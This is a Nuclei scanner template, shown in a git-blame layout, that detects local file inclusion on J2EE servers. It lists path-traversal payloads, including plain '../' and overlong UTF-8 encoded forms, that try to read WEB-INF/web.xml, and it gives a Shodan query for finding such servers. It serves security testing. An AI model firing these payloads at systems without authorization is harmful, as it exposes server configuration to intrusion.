2022-09-16 19:50:10 +00:00
|
|
|
id: generic-j2ee-lfi
|
|
|
|
|
|
|
|
info:
|
2023-01-29 19:24:06 +00:00
|
|
|
name: Generic J2EE LFI Scan Panel - Detect
|
2022-09-16 19:50:10 +00:00
|
|
|
author: davidfegyver
|
|
|
|
severity: high
|
2023-01-29 19:24:06 +00:00
|
|
|
description: Generic J2EE Scan panel was detected. Looks for J2EE specific LFI vulnerabilities; tries to leak the web.xml file.
|
2023-02-02 21:51:33 +00:00
|
|
|
reference:
|
2022-09-16 19:50:10 +00:00
|
|
|
- https://github.com/ilmila/J2EEScan/blob/master/src/main/java/burp/j2ee/issues/impl/LFIModule.java
|
|
|
|
- https://gist.github.com/harisec/519dc6b45c6b594908c37d9ac19edbc3
|
|
|
|
metadata:
|
|
|
|
verified: true
|
2023-10-14 11:27:55 +00:00
|
|
|
max-request: 13
|
2022-09-16 19:50:10 +00:00
|
|
|
shodan-query: http.title:"J2EE"
|
|
|
|
tags: lfi,generic,j2ee
|
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-09-16 19:50:10 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
2024-04-12 10:31:51 +00:00
|
|
|
- "{{BaseURL}}{{paths}}"
|
|
|
|
payloads:
|
|
|
|
paths:
|
|
|
|
- "/../../../../WEB-INF/web.xml"
|
|
|
|
- "/../../../WEB-INF/web.xml"
|
|
|
|
- "/../../WEB-INF/web.xml"
|
|
|
|
- "/%c0%ae/%c0%ae/WEB-INF/web.xml"
|
|
|
|
- "/%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml"
|
|
|
|
- "/%c0%ae/%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml"
|
|
|
|
- "/../../../WEB-INF/web.xml;x="
|
|
|
|
- "/../../WEB-INF/web.xml;x="
|
|
|
|
- "/../WEB-INF/web.xml;x="
|
|
|
|
- "/WEB-INF/web.xml"
|
|
|
|
- "/.//WEB-INF/web.xml"
|
|
|
|
- "/../WEB-INF/web.xml"
|
|
|
|
- "/%c0%ae/WEB-INF/web.xml"
|
2022-09-16 19:50:10 +00:00
|
|
|
|
|
|
|
stop-at-first-match: true
|
2023-10-14 11:27:55 +00:00
|
|
|
|
2022-09-16 19:50:10 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- "<servlet-name>"
|
|
|
|
- "</web-app>"
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
2023-01-29 19:24:06 +00:00
|
|
|
- 200
|
2024-04-12 10:58:47 +00:00
|
|
|
# digest: 490a0046304402200b07dcfde07789878d7496bda4e3f0321b7c3aa902236b808d1066377703c1570220154d638ec8b1d02440e5a960d2a91b56f7c8e97673fa21aa8c839e1ebaff68fb:922c64590222798bb761d5b6d8e72950
|